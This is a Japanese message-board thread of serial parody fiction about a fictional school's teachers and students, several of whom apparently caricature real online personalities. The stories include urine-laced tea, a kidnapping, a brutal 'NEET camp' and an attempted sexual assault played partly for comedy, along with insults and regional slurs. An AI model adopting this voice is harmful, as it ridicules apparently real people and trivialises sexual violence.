ジバク「これだからチバラギだか長野だか知らんが、魑魅魍魎の住む地方出身の
地方愚民はだめなんじゃ。わしは幼い頃からホテルのビュッフェ、フルコース、会席料理に
親しんできたのじゃよ。地方愚民どもはあの舌のとろけるような味を知らずに
死んでいくのじゃのう。何か生きてていいことでもあるのかの?さっさと死ぬといいのじゃよ。」
担任「…ジバク!俺の田舎を侮辱するな!!」
担任はジバクの胸倉を掴んで言った。
キモ味「そうだそうだ!ほかの地方はどんなに侮辱してもいいけど、長野だけは侮辱するな!!」
担任はキモ味をにらみつけた。
「下衆が…」

211 :担任の奇妙な休日:2006/10/15(日) 02:13:42 ID:ibrATLPj
林間「まぁまぁ落ち着いて、お茶でものめよ、国崎」
林間が温かいお茶を出し担任に勧めてきた。
担任(…!?おかしいな、さっきのカップめんでポットのお湯はほとんど無くなってたし…
お湯を沸かせる時間もないぞ…?何かが怪しい…)
ジバク「おお、これはおいしそうなんじゃよ。いただきますなんじゃよ」
林間「ちょっ、千葉、それは!」
ジバクは林間の出したお茶を飲み干した。
ジバク「ふぅーっ、うまいお茶だったんじゃよ」
林間「さ、さっきのは、ち、千葉がのの飲んじゃったから、ま、また淹れてあげるよ」
林間は再びカップにお茶を入れ、担任に勧めてきた。
キモ味「あぁん、千葉君だけずるーい。ボクも飲む!!」
キモ味がお茶の入ったカップを取り上げた。
林間「待て!肝井!!飲むな!それは俺の!!」
キモ味はお茶を飲み始めた。次の瞬間、キモ味は盛大に嘔吐した。
キモ味「おえーーーっ!おえーーーーーっ!!この臭い…もしかしておしっこ!?」
林間「だから飲むなって言ったのに…国崎に飲ませて慌てふためかそうと思ったのに…」
担任&キモ味「りーーーんかーーーーん」
担任「貴様ーーー!!あのティーポットとカップはな!
大学院卒業記念に尊敬する教授からもらったポットとカップなんだ!!
それをよくも!絶対にゆるさねぇ!!ブッ殺してやる!!!」
キモ味「おしっこを他人に飲ませようなんてまともな人間のやることじゃない!!!!
飲尿健康法は林間先生一人がやればいいんだ!!謝れ!!謝罪しろ!!
ボクは怒ったぞーーーーー!!!林間ーーーーー!!!」
林間をボコボコにし始める担任とキモ味。
林間は「いぐぅぅぅぅぅぅぅ!!!」と断末魔の声をあげながら、
夕方、顔が倍に腫れるまで二人にボコボコにされ続けた。

212 :名無しかましてよかですか?:2006/10/15(日) 06:09:32 ID:YHa/5WaE
>>209-211
乙です。飲んでた茶を吹きたいとこですが
当分茶を淹れる気になりませんw

そういや、紳八先生のモデルの方が、
法的にリーチかかりましたな

213 :名無しかましてよかですか?:2006/10/15(日) 09:08:04 ID:BZb7DTL5
>>208

http://vista.nazo.cc/img/vi6087075659.mp3

214 :名無しかましてよかですか?:2006/10/15(日) 09:11:20 ID:ohT8m9HZ
>>212
え?それマジ?

215 :ティキ ◆LStfMiPE.w :2006/10/15(日) 18:58:11 ID:WU8ytZ5v
>>214
こんなことになってます

http://ex9.2ch.net/test/read.cgi/net/1160838161/l50

216 :名無しかましてよかですか?:2006/10/15(日) 23:02:08 ID:61gJs4MM
>>212
うへ?小蛆が?ついに?
最近ネトヲチ見てなかったから・・・・・・・

217 :名無しかましてよかですか?:2006/10/16(月) 14:06:04 ID:ftmYgyN2
コミケでコスプレ広場担当をしてる幹部スタッフが
(例によって)こぉちゃんから中傷されまして。
それも彼の生業に絡む代物です。

で、その人がブログでこぉちゃんにしかるべき回答を要求してます。
期限付きで。確か、今日の正午までだったはず。
ちゃんと答えないと手を打つと明言してます。

なお、ブログのアクセス記録で読んでいることは確認済みだとか。

218 :名無しかましてよかですか?:2006/10/16(月) 22:31:48 ID:KTjCwLqL
>>217
まあコミケのスタッフも結局は「ボランティア」でやっている訳だからね。
そので逆恨みされて、挙句に本業に支障が出るような中傷されるなら、
そらキレルわな。


219 :名無しかましてよかですか?:2006/10/17(火) 03:52:19 ID:VqCu01+J
>>213
おえっぷ キモウス様言うに事欠いてフタナリ宣言?
それって災厄級にやばくないかなぁ?かなー?ぉぇ           フタナリってなんなのですか?・・・
          _.,., --''." ̄゛゛゛- 、 
       , -'´           ゙ー- 、
   ,,//// /,//        ゙ヽ 
  ,イ ///// /ソソ// ィ/ ゙|,,,,..,、  ノ゙、
 イノ从/,/ / イ//リ// //゛゛゛'ヾ.,lii トヽy'从゙、        ,, -―――-- 、
 !ハ从! l! i! i! il i li il! / リ     l l 从ヾil lk i    ,,.-‐''´         `ヽ、
  iハi l! il! lil、, '"`ヾ   ,' ‐''ヾチ.从.i li il! ll!リ  ,;'´ ,'´  ,;         、 ..:ヽ、
     ゙ミ il!从!  (゚;)    (゚;) lYイi! l / i! il リ// / / ./ ,ィ' .;: / i i ゛ヽ、ヽ::.゛i
    ,,,彡爪ハ ミ, --    -- 、イノ /リ////リ.// / l l:. ,' l ! l:: l: i | :. |:. i  ゛; ヽ:::. !
  ////从从ミ  i" ゙̄ヽ, 彡ノノ/イ////,!l l:: | |:: l  l l. l | l !| l、::. l:::!l: ::::i l :::: |
./////////ハ从ヽ i   .l彡彳/リ///リ |!l::l.: |:: !l :l_,,l-‐i-!_i_!Ll=ニニ、!、!ll :: !|::l
: ' //イ iハリ´リ   __ ゛''-'"/////ソリ  ヽー、_lー-il' ,'´`ヽ   r '' ヾ iー-‐'´:::::l
  lリ lソリ   _∠派、  / ///ィ"/从       li :: l | ! (゚;)     (゚;) l ,|::|::|::|::: ::|
 ハノ リ   ,/  ヽトミ、__lミイ // /ソ< ̄ト,      .l.!.:: | i' ,_,. __ 、_ ,、`|::|::|:::|::: :::|
      /_____ l,ゝ<゛<イノハノ リ  ゛i l l.      .|l ::l l :l、゛゛!'    ヽ゛゛゛ .|::|::|:::|::: :::::|
     /,.==、>" ゝ /" /-- 、   ノ/ l      !i.::! | l::i` ‐ヽ _ ノ.ィ´l:::|::|::|:::|::: :::::::|
     k"ァ-y".:  /l /ァ==ミヽ / /  l      ,!l ::i :l l::|:::: /__ハ___ ]l:::|::|::|:::|::: ::::::::|
     lイ 〔ミ::" ,,ノ |(/⌒ヾ、ミV" ト-"      .,!l .::i :l l::|  く ,[] 了 |::|::|ー-、::::::::|


220 :名無しかましてよかですか?:2006/10/17(火) 07:12:26 ID:1VLfkst7
小ネタ
海武学園 LL教室前廊下
鳥坂「このアニメはな、助からない者も居るんだよ、だけどそこが現実らしくて面白いんだよ。」
吉田「へぇ、深夜アニメでもそんなのがあるんだな。」
鳥坂「だけど、DVDは売れていないようで・・・あれ?林間先生どうしたんですか?
    鳩に豆鉄砲食らわしたような顔をして。」
林間、LL教室扉前で呆然としている
林間「俺の高校時代を思い出させるような事を言うな!!1!!かんしゃくおこす!!!1!」
鳥坂・吉田(どういう高校時代だったんだよ・・・)
林間「それよりこれを見ろ!」
  http://www.galge.com/galge/nomember/sbp/topics/06/10/11b/cha.jpg
鳥坂「えーと、またエロゲですか?先生、いくらエロゲヲタだからって高校でこういうのをd」
林間「アニヲタに言われたくない!1!!吉田!これに間違いが一つ有る!答えろ!11」
吉田「えーと、男神のはずのトールが女になっていますね。しかもロリの。」
林間「ブッブー!!間違いだ!お前は後で特別授業だ!!」
鳥坂「じゃあ、正解は?」
林間「金髪碧眼のヴァルキリーたんが居ないことだ!!!!!1かんしゃくおこす!11!」
鳥坂・吉田(・・・先生の性癖を考慮に入れるのかよ・・・)
林間「俺はこれからここへ抗議に行くからな!後の授業は自習だ!」
鳥坂・吉田(・・・行っちゃったよ・・・)

その後八王子駅前でビタミンはどこだ!?答えろ!と火病を起こす物体が居たとか何とか。

221 :フラスペ外伝:2006/10/17(火) 09:43:28 ID:XAmuUMno
しかし、彼もdでもないことを引き起こしていた・・・。
原作→ttp://news18.2ch.net/test/read.cgi/news2/1159834249/398
中心人物であったコヴァの更正と共にすっかり愛国サークルも活動を事実上停止し、コヴァは吉田や
鳥坂とつるむようになり、残りのメンバーは林間先生と行動を共にするようになった。
一人取り残された真保はT豚S問題に興味をもつようになり、自分のブログに黙々とT豚S問題と
フェミファシストの問題について書き、ついでにたまにフラスペを描いていた。
そんな日々の中、真保はぬちゃんねろのオフ板でT豚S問題について行われるオフ会があることを
知った。そして、その中心人物の一人が女子大生であることも・・・。

T豚S問題オフに真保は参加した。他人が用意したビラを配るだけではつまらないので、せっかくだし
「フェミファシストとの決戦を!」とマホノコトリが触手を振り上げているイラストを
描いたビラを三十枚程度用意した。そして、オフ会で配った。
オフは、それなりに成功を収めた。ただ、全く手伝いも何もせず、勝手に違うビラを配った
真保のことがちょっと問題になったが、そこである人物が真保をかばってしまった。
その人物の名は・・・どくろ、中心人物の一人で女子大生であった。どくろは、勿論好意が
あって真保をかばい立てしたわけではない。ただ、高校生なのにこういうオフに参加した
感心な子どもとして立場を立ててやったのだ。だが、これは最悪の行動であった。
どくろはやってはいけないことをやってしまった。古く、政治思想板の阪京ストーカー事件、
菊地びたみんストーカー同居キボンヌ事件に代表されるように、「この手のもてない男に、
政治思想がらみだからと言って甘い顔」をすると大概の場合悲劇的結末を迎える。どくろは
そのことを知らなかった、そして、真保を高校生だと思って甘く見ていた。だが、高校生と
言えば一般男性においてさえ中学生以上にワタシノコーをやりたい盛り、そんなときに
年上のおねいさんからかばいだてされ、真保の心境やいかに。そして更に不運なことが
もう一つあった。どくろ、彼女はどことなく真保の最大の思い人「春野小鳥」に
似ていたのであった。身長も低く、童顔であった。そして・・・悲劇が始まった。

222 :フラスペ外伝:2006/10/17(火) 09:44:28 ID:XAmuUMno
真保はまず、オフ会を企画した。どくろさんのオフ会を支援する、という目的ではあったが
実際はどくろと二人っきりの機会を作って告白しようと言う大それたオフであった。そして、
貯金をはたいて指輪を買い、ついでに精魂込めて自分とどくろとのウェディング姿、そして
「二枚目」に当たる絵も描いた。真保は、この時に賭けていた。
オフ会当日、会場に不自然なスーツ姿の男が現れた。真保だ。何故か、手に小箱(中に
指輪)と薔薇の花束を持っている。政治思想系のオフ会、いや、普通のオフ会としても
相当不自然な格好だ。皆、なんとなくそう思っていたが、誰も口に出せずどくろの到着を
待った。そして・・・、運命の時が来た。
どくろ「ごめ〜ん、ちょっと遅れちゃって〜」
目の前には、不自然な真保の姿が
真保「どくろさん、ちょっと話がありまス」
真保はどくろをヒトのいない方に連れていく。そして、二人っきりになった。
真保「やっと、二人っきりになれたね」どくろは少し髪型を変えていた。涼宮ハルヒ風と
言うべきだろうか
どくろ「えっ、どういうこと?今日は私のオフの支援のために貴方がオフを開いて・・・」
真保「それは、キミをここに呼び出すための口実だ」
どくろ「え」
真保「ボクは今、ここに誓う、キミのことが好きだっ、結婚してくれ」
ぽかーーーーーーーーーーーーーーん。どくろはあっけにとられた
真保「キミのようなしっかりした可愛らしいフェミファシズムに毒されていない愛国的な・・・」
どくろ「えーとね・・・」
どくろは、極力真保を刺激しないような方向で口を開いた。
真保「ん?」
どくろ「あのね、私ね、まだ大学生だし、貴方もまだ高校生でしょ?だから、結婚なんて・・・」
真保「じゃあ、許嫁と言うことでおつきあいを・・・」
どくろ「いや、そうじゃなくってね。まだ、私も貴方もそういうのは早いと思うのよ。
なんていうか。だからさ、そういうのじゃなくって、理想を共にするお友達でいない?」
オトモダチデイナイオトモダチデイナイオトモダチデイナイ、真保の脳裏にどくろの声が響く
真保は激昂した。

223 :フラスペ外伝:2006/10/17(火) 09:45:42 ID:XAmuUMno
真保「うぽぽぽぽぽおおおおおおおおおおおおおおおおおお!11!!111
オンドゥルウラギッタンディスカー!11!!愛国的だと思ったのにー。愛国者だと思ったのにー」
真保は叫んだ。そして、どくろに襲いかかった。
どくろ「きゃああああああああああああああああああああああああああああ」
真保「ボボボボクはなっ、ずっと耐えてきたんでぃすよ?それなのに、それなのにっっっ
貴様もファミファシストの手先だったのかーーーー」
どくろ「やめてっ、ねえ、真保君やめてっっ」
真保「やめてやるものか!お前を『こんなふうに』するまでやめてやるものかっっ」
どくろの目の前に、フラスペ二枚目が提示された。其れと同時に、真保はどくろの
首筋に勢いよく噛みついた。
「一体どうしたんだー」
どくろの悲鳴に気づいた他のオフ会参加者が、悲鳴の方向にやってきた。
目の前にいたのは・・・、どくろを無理矢理ワタシノコーしようとする寸前の真保と、眼が
あらぬ方向を向いて茫然自失状態のどくろ。
「お前、何やってるーーーーーー!!!」

担任宅。でっでんでけでんでけでんでけでん(着メロ 世にも奇妙な物語)
担任「はいっ、国崎です」
この着メロは松沢病院だ。また、真保か肝井がやらかしたんだろうと思って受話器を取る担任
免下「あー、免下だ。今日は真保がT豚Sの前で警察に引き渡された。まあ、その後
ヨシダが引き取りに行ったがね」
担任「えっ、真保ですか」
免下「ただ、罪状は深刻だぞ。一般人に対するワタシノコー未遂だ。被害者の女の子は可哀想だよ。
感情的な反応を失ってしまっている・・・」
ゴゴゴゴゴゴゴ。固まる担任であった。
ちなみに先週のフラスペの前、二回連続で涼宮ハルヒとそれと髪型の似たキャラがフラスペの
餌食となったのは実話です。

224 :コヴァの奇妙な冒険:2006/10/17(火) 11:29:51 ID:KTrvdipX
第一話 予兆

ある日の晩、林間が酔っ払って歩いていた。
林間「クソ!俺の勤務態度のどこが悪いんや!!俺はちゃんと働いてるやんけー!!1!!
これも全部国崎の野郎が悪いんやかんしゃくおこす!1111!!」
林間はこの日、学校で教頭に勤務態度について叱責され、自棄酒を飲んだ。
林間「うー、俺がこんな不幸な目にあうのもみんなアンチコヴァが悪いんや!11!!」
いつもはめったに喋らない関西弁で愚痴を吐きながら家へ帰る林間。
その時、二人の女が現れた。
女「林間カヅフサだな!」
林間「ん?なーにー?ボクのファン?いいよ、今からうちに来てワタシノコーしよう!」
女「何をわけのわからんことを言っている!!取り押さえるぞ!」
林間は女二人に取り押さえられた。その間にもどさくさにまぎれて女の胸や股間を触ろうとする林間。
女「ええい!この女性の敵!!触るな!変質者!!」
女は林間に携帯クロロホルムを嗅がせて眠らせた。林間はちょっと幸せな気分だった。

翌日、海武学園
教頭「国崎君、国崎君。林間君がまだ来てなくてね…」
担任「わかりました。放課後、早速彼の家を訪問します。」
そして放課後、担任は林間家を訪問するが、家の中からの反応はなかった。
林間の携帯に何度も電話をかけるが、応答はなかった。
それから三日間、担任は同じことを繰り返すが、一向に林間の気配はなかった。
比良方の実家に連絡を取るも、やはり所在はわからなかった。

225 :コヴァの奇妙な冒険:2006/10/17(火) 11:32:11 ID:KTrvdipX
第二話 地獄への招待

一方その頃、林間はある施設にいた。林間を捕らえたのとは別の女に尋問を受けている。
女「姓名と年齢を言え」
林間「林間カヅフサ、37歳だ。」
女「お前はなぜこの施設に連れてこられたかわかるか?」
林間「いくつか心当たりがある。俺は分泌業として小林よしのりの旗の下、
反サヨ反ポチ軍団を結成するため日夜活動している。
貴様らはそれを潰しにきたアンチコヴァの…」
女「お前の妄想など聞いておらん!!どうやらわかってないようだな。
お前はいい年でありながら、この年までずっと日本国憲法に規定されている勤労の義務を
果たしてこなかった。この施設はそういう連中に労働への意欲を与えるための施設だ。」
林間「ちょっと待て!俺は教師だぞ!ちゃんと勤労の義務は果たしている!」
女「証拠はあるのか?」
林間は海武学園の身分証明書を出そうとポケットから財布を出そうとするが、どこにもなかった。
女「やはり口からのでまかせか!おい、こいつを高齢者棟303号室に入れろ。」
女「サー!イエスサー!」

林間は施設内の一室に放り込まれた。部屋は、一応畳敷きの大四畳半だった。
しかし、テレビもなく、机が二つ置かれただけの質素な部屋であった。
そこに一人の男がいた。
男「新入りか?」
林間「あんたは?」
男「j3、俺は甑若葉ってもんですわ…る」
林間「失礼した。俺は林間カヅフサだ。」
甑「あんた、どこからきた?」
林間「東京のエイトプリンスシティーだ。」
甑「へぇ、自分は和歌山のネオコートシティですわ…る」
林間「俺の実家と近いな。俺は大阪の比良方市出身だ。
ところでここは一体どういうところなんだ?さっきの女どもの話ではよくわからん。」

226 :コヴァの奇妙な冒険:2006/10/17(火) 11:37:39 ID:KTrvdipX
甑「名目上はニートの更正施設ですわ…る しかし、実際は刑務所以上に恐ろしい所ですわ…る
所在地は大阪や神戸から近いところらしいですが、詳しい情報はわかりませんわ。
この施設は『25歳以下』、『26歳以上30歳以下』、『31歳以上』の三つに
分けられてましてな。その中でもここ『31歳以上』は特におそろしいところですわ。
悪叉駄ユリコが言うには、ああ、ここの施設長なんですがね、『ニートも31歳以上になると
ほぼ肉体労働でしか食っていけなくなるから』とか言って、
毎日のように肉体労働ばかりさせられてるんですわ…る
j3、私は以前木材会社で働いていたこともありましたから、
全くの職歴なしというわけじゃないんですがね。
j3、私、高校中退だから実質肉体労働しか選択肢がないというのは正しいんですわ…る
私はここに入って3ヶ月目なんですがね、体重が10キロも減りましたわ…る
おまけに食事も栄養失調になる寸前の量しか与えられないから、ほら、見てください、
筋肉もあまりついていかないし、エネルギー不足で日に日に強制労働が
きつくなるばかりですわ…る うわさによると死者も出ているそうですわ…る」
林間「逃げる事は?」
甑「無理ですわ。逃げ出そうものなら、とても恐ろしいことになりますわ…る」
林間「ああ、なんて所だ…俺は一応教師なのにここに入れられるし…」
甑「教師?教師だったら何でここに入れられてんの?」
林間「わからん。とりあえず財布を落として教師という証拠も出せねーんだよ…
あれ、甑さん、何やってんの?」
甑「鳥の足につける手紙を書いてるんですわ…る 貴重な食べ物をポケットに入れておき、
部屋に戻ってからそれを撒き餌として窓際においておく。鳥が来るまでの間に手紙を書いておき、
鳥が着たらすばやく取り押さえてその足に手紙を結ぶ。j3、気休め程度にしか
なりませんが、今やこれが唯一の娯楽になってしまったんですわ…る」
林間「よし、俺にもやらせてくれ、甑さん」
甑「いいですよ」
林間はその日、3羽の鳥に希望を託して手紙をくくりつけた。
人が読む可能性は極めて低いが、今の林間に外部との連絡をとる手段はこれだけであった。
ところが、それから10日後、信じられない奇跡が起きた。

227 :コヴァの奇妙な冒険:2006/10/17(火) 11:41:07 ID:KTrvdipX
第三話 決断

ある公園で千葉と肝井が遊んでいた。
肝井「千葉君、あそこ!」
千葉「ラジャーなんじゃよ」
千葉の撃ったエアガンの弾が空を飛ぶ鳥の群れに命中する。
鳥たちは気を失って地面に落ちた。
千葉「大きな鳥じゃのう、丸焼きにして食べるのじゃよ」
肝井「あれ、この鳥、なんか手紙をくくりつけてる。」
肝井は手紙を開いて読んだ。
肝井「こ、これ!林間先生の手紙だよ!」
林間の手紙の内容は以下の通りである。
「この手紙を読んだ方へ。私は今、関西の、大阪、神戸に近い場所に捕らえられています。
そこは『ニート更正施設』と銘打ってますが、実際は刑務所、いや、ナチの収容所の
ようなところです。私はニートではありません。都内の進学校で教師をしている者です。
この手紙を読んだ方、助けてください 
                       皇紀2666年(平成18年)1×月×日 林間カヅフサ」
肝井「そうだったんだ…千葉君、ボク林間先生を助けに行くからねっ!」
千葉「わしもいくんじゃよ。ユリ殿にもあいたいからのぅ」
翌朝、準備を整えた二人はエイトプリンス駅に向かっていた。
コヴァ「キモ味、ジバク、どこに行ってるんでしゅか?」
千葉「ミ、ミコスキー君、なんでもないんじゃよ。本当じゃよ。」
コヴァ「おかしいでしゅね、その格好。今日は平日ですにょ。学校は?」
肝井「ねぇ、千葉君、木場君には本当のことを話してもいいんじゃない?」
二人はコヴァに昨日の林間の手紙を見せ、そのことを話した。
コヴァ「そうだったんでしゅか…それは知りませんでした。」
肝井「ねぇ、木場君も一緒に行こうよ、うぐぅ」
コヴァ「…ボクチンは行きませんにょ。ボクチン、学校に行かないと。」
肝井「木場君のバカ!人でなし!人助けしなきゃいけないときにそんな事言うなんて
人間じゃない!!木場君なんか死ね!死ね!死んじゃえ!!
行こ、千葉君、こんな冷酷無比な人間のクズなんか放っとこ!」
肝井と千葉はエイトプリンス駅に行ってしまった。

228 :コヴァの奇妙な冒険:2006/10/17(火) 11:43:55 ID:KTrvdipX
海武学園高等部2年8組
コヴァ「…」
吉田「なぁ、コヴァ、さっきから何思いつめた表情してんだよ」
鳥坂「コヴァ、コヴァってば!」
コヴァ「ボクチンがこの場にいる事は正しいんでしょうか…」
吉田「…何言ってんだ?」
コヴァ「吉田君、鳥坂君。実は…」
コヴァは事情を話した。
吉田「そういう事だったのか…」
コヴァ「ボクチンはどうすればいいんですかね?」
鳥坂「自分できめろ。こういう決断は自分できめて自分で責任を取るんや。」
コヴァ「…ボクチンやっぱり林間先生に助けに行きますにょ!」
吉田「そうか。今日は幸いにも金曜日だ。今日放課後になったら急いで支度して
エイトプリンス駅に来い。俺も行こう。助けに行かなかったら行かなかったで
後で復讐されるのもいやだしな。それにあの二人じゃ助けられまい。」
鳥坂「だったら俺も行くわ。関西方面なら、関西出身の俺が役に立つはずや。」

そして、午後六時半、エイトプリンス駅
案内放送「六番ホームの列車は、六時四十分発、東京行き、普通電車です。」
吉田「わるいわるい、支度が遅れちまったよ」
鳥坂「よし、行こう!まずは東京に行き、そこで新幹線に乗り換える。
そして神戸まで行ってその日は宿で休んで明日の朝から調査を始めよう。」
コヴァ「待っててくださいにょ、林間先生!」
                                          (続く)

229 :名無しかましてよかですか?:2006/10/17(火) 11:45:37 ID:1kOkOyFm
長編ktkr

230 :名無しかましてよかですか?:2006/10/17(火) 19:03:50 ID:OThIHkTD
真保が久々に活躍乙。

231 :コヴァの奇妙な冒険:2006/10/18(水) 17:32:04 ID:IagNAcqF
第四話 かんしゃくおこせない

新幹線の中で三人が話をしていた。
吉田「俺が遅れたのはきぃ姉ちゃんから資料をもらいに行ってたからなんだ。」
吉田は資料を一部ずつコヴァと鳥坂に渡した。
吉田「あと、月宮先生から有力な情報をもらった。神戸の菊水一号山の近くにあるらしい。
詳しい事は資料に書いてある。」
コヴァ「おお!やりましたね!これで大丈夫ですにょ」
吉田「いいや、だめだね。資料を読んでみろ。どんなに恐ろしいところかわかるから。」
コヴァと鳥坂は資料を読んだ。コヴァの顔が青ざめていく。
コヴァ「こ、これはむごいですにょ…ボクチンもあのまま数年してたらここに…ひいぃ…」
吉田「見ての通り、入所者には人権なぞ全くないらしい。逃げ出そうものなら
悪叉駄ユリ率いる警備隊が山狩りを行い、捕まったらひどい目に合わされるそうだ。
しかし、出所者の社会復帰率はほぼ100%だ。働かなければあそこへ連れ戻されるという
恐怖があるからな、どんなに嫌でもニートなどできなくなる。」
コヴァ「ほ、本当にこんな所から林間先生を助けられるんでしゅかね。」
吉田「わからん。しかし奴は一応うちの学校の教師をやっているから、
厳密にはニートじゃあない。まぁ、俺に任せろ。まずは平和的に、な。」

その日の夜 ニート更正キャンプ 高齢者棟303号室
上半身裸でうつ伏せにしている林間に甑が軟膏をつけていた。
林間「あいててて…」
甑「林間君、大丈夫か?ここ、ミミズ腫れになってるぜ」
林間「くそー、鞭でひっぱたきやがって…本当に奴隷じゃねえか…」
甑「こんなのはもっと序の口ですわ…る」
林間「はぁー、ろくに食べてないから、かんしゃくおこせない…」

232 :コヴァの奇妙な冒険:2006/10/18(水) 17:37:51 ID:IagNAcqF
第五話 菊水一号山

その頃、千葉と肝井は神戸市内をさまよっていた。
千葉「ど、どこに更正キャンプがあるのじゃろうか…」
肝井「ボクに言われたって…あっ!」
二人はコヴァたちを見つけた。
肝井「木場君!吉田君!鳥坂君!」
コヴァ「ん?キモ味とジバクじゃないでしゅか。」
肝井「ああ、やっぱり来てくれたんだね!木場君大好き!キスしよ!むーん」
コヴァ「キモいんでしゅよ!このホモ味!氏ね!」
肝井「うぐぅ」
千葉「ところで、おぬしらは林間先生の捕らえられている場所を知っているかの?」
吉田「ああ、菊水一号山だ。」
鳥坂「それじゃ、5人そろったところで行こか。」

神戸神速鉄道 菊水一号山駅
案内放送「今日も、神戸神速鉄道をご利用いただき、まことにありがとうございます。
まもなく、菊水一号山、菊水一号山に到着します。」
吉田「うわー、何もねえ所だな」
鳥坂「ある本で読んだんやけど、なんでも、大都市近郊の秘境駅として
一部の鉄ヲタの間では知る人ぞ知る存在なそうや。」
肝井「ここで降りる人いるの?ここ、ボクの地元の
長野のライスマウンテンシティに比べても、ボクの地元の方がよっぽど都会だ!」
鳥坂「近くにゴルフ場があるから、そこの利用客がたまにここで降りるそうや。」
吉田「おっ、電車が止まったぜ。降りよう」

233 :コヴァの奇妙な冒険:2006/10/18(水) 17:40:13 ID:IagNAcqF
そして1時間後
吉田「やっとニート更正キャンプについたぞ。物々しい雰囲気だな」
コヴァ「も、もう歩けないですにょ…はぁはぁ…」
肝井「ボクも…へぇへぇ…」
千葉「おぬしら太りすぎなんじゃよ…ぜいぜい…」
吉田「そういうジバクも運動不足で息切れしてんじゃねえか。」
門の脇になにやら窓口のようなところがある。
吉田「すいませーん」
受付の女性「当施設に何の御用でしょうか?入所希望ですか?」
吉田「私は吉田繁と申します。ここに林間カヅフサという者が収容されているはずなんですけど」
受付「…少々お待ちください」
それから暫くして受付は女性看守を一人連れて戻ってきた。
看守「林間カヅフサに何の御用でしょうか?」
吉田「すいません、単刀直入に聞きます。ここはニートを収容して更正させる施設ですよね。
で、林間カヅフサなんですけど、彼は今年の四月から私どもの通学する海武学園高等部に
政治経済担当の臨時講師として勤めているので、ニートじゃないのですが…」
看守「それは初耳ですね。こちらの所有する資料ですと、3月下旬に大阪府比良方市から
東京都エイトプリンスシティーに引越しをしたところで記録が途切れています。
彼の職歴情報ではナニワ大学大学院を中退後の職歴は短期アルバイトまでを含めても
完全に白紙です。海武学園に勤めているという証拠はありますでしょうか?」
吉田は「抜かった」と思った。そのような証拠は一切持ってない。しかし、彼はここで機転をきかせた。
吉田「海武学園に問い合わせてみてください。」
看守は受付に海武学園に問い合わせるよう指示した。
看守「いまから海武学園さんのほうに問い合わせをいたしますので、暫くお待ちください。」
20分が経過した。
看守「今受付嬢に聞いたところによると、海武学園との連絡が取れないそうです。
残念ですが、林間をここから出すわけには…」
吉田「ちょっと待ってください。今からうちの担任に連絡を取ってみます。
あの人なら今でも確認が取れます。」
看守「申し訳ございません。私人への電話確認は信用性がないので、それはできません。
まことに申し訳ございませんが、おひきとりください。」
吉田「わかりました。どうもすみませんでした。」

234 :コヴァの奇妙な冒険:2006/10/18(水) 17:45:06 ID:IagNAcqF
第六話 侵入開始

キャンプからやや離れたところで5人は作戦会議を開いた。
吉田「まいったな…どうして学校に電話がつながらなかったんだろう。
土曜日なら事務室に人がいるはずなのに。」
コヴァ「そういえば、今日ってうちの学校の創立記念日じゃないんでしゅか?
で、明日は日曜日だから、今日明日はうちの学校の事務室にはつながりませんにょ。」
吉田「それでか!しかし、月曜日からは学校だし…」
鳥坂「うーむ、これは難題やね…」
肝井「何言ってるの!ボク、あの中に忍び込んで林間先生を助けてくるから!!」
鳥坂「でもそれは法律上の問題が…」
肝井「法律とかそういう問題じゃないの!躊躇しちゃだめ!!」
千葉「そうなのじゃよ、そうなのじゃよ。表面的なデスノスキー君、わしらだけでも行くのじゃよ」
肝井と千葉は3人の制止も聞かず、もと来た道をキャンプ方面に向けて戻っていった。
吉田「おーーーい!キモ味、ジバク、戻って来い!…しかし、何であの二人はあそこまで
林間を救うのに必死なんだ?キモ味なんかいつもとぜんぜん性格が違うぞ。」
コヴァ「あの二人は校内の嫌われ者でしゅから、仲間が少ないですにょ。
林間先生は二人にとって貴重な仲間でしゅから、ああも必死になるんでしょう。」
鳥坂「俺らも行こう。あのままじゃキャンプの収容者が二人増えるだけだ。」
キャンプに引き返した肝井と千葉は塀を乗り越え、キャンプ内に侵入した。
警報が山中に鳴り響く。
鳥坂「よし、警報の鳴っている今がチャンスだ!俺たちも行くぞ!!」
吉田「こうなったらのるかそるかだ!」
コヴァ「無事に帰ってきましょうにょ。」
そして鳥坂、吉田、コヴァの三人も警報にまぎれてキャンプ内に侵入した。

施設長室
悪叉駄「何事だ!」
看守「はっ、侵入者が施設内に侵入した模様であります、サー!」
悪叉駄「そのクソ豚をすぐに捕らえろ!本当のクソ地獄を教えてやる!!」
看守「はっ!全力をかけて捕らえます!サー!」

235 :コヴァの奇妙な冒険:2006/10/18(水) 17:47:59 ID:IagNAcqF
こっそり忍び込んだ吉田たちは陰から陰へとうまく移動していた。
吉田「クソ、地図も何もねーから、林間がどこにいるかわからん」
鳥坂「あっ!看守たちがあっちに行ってるぞ!」
コヴァ「キモ味とジバクが連中に追われているんですかね?今がチャンスですにょ。」

再び、施設長室
看守「侵入者を捕らえました!一人は10代後半と思えるデブ、もう一人は
顔は一見初老の老人ですが、体つきは10代後半の男です!サー!」
悪叉駄「よし、尋問しろ。その後の処遇は任せる。看守長の指示に従え。」

尋問室
看守「貴様らの姓名と所属を言え!」
肝井&千葉「…」
看守「言わないと痛い目にあわせるぞ。」
そう言いながら、もう一人の看守が千葉に関節技をかける。
千葉「ミギャー!!痛いのじゃよ、ハルヒスキー君、助けてほしいのじゃよ。」
肝井「わかったよ。言うよ。」
看守「よし、姓名と所属を言え」
肝井「肝井味平、17歳、海武学園高等部の生徒だよもん」
千葉「千葉久之、17歳、海武学園高等部の生徒なのじゃよ」
看守「よし、それじゃあ、さっき来た吉田という奴は知っているか?」
肝井「ボクのクラスメートだよもん。」
看守「今の所在はわかるか?」
千葉「そういえば、わしらがおぬしらに追っかけられているときに
三人の人影がこの中に入っていくのを見た…ハッ!」
肝井「ちーばーくーん!!このカス!カス!!カス!!!千葉君なんか大嫌い!!
千葉君なんか死んじゃえばいいのよっ!!!
そういう事は黙っておくのがあたりまえでしょっ!」
看守「フフ…そうか…それはいい情報を教えてくれたねぇ。
さぁ、お姉さんの質問に答えなさい。あの三人の個人情報をね…
それとお前らは彼らをおびき寄せる餌にさせてもらう」 
                                               (続く)

236 :コヴァの奇妙な冒険:2006/10/19(木) 18:04:21 ID:paBDCMAT
第七話 変態たち

キャンプ中に放送が流された。スピーカーから声がする。
「木場ヒロシ、吉田繁、鳥坂明!お前たちが施設内に侵入している事はすでに発覚している!
三名はすぐに正門近くの管理センターの倉庫に来なさい!
お前たちの仲間の身柄はこちらが拘束した、すぐに来なさい!!」
コヴァ「キモ味たちが喋ったんですかね?」
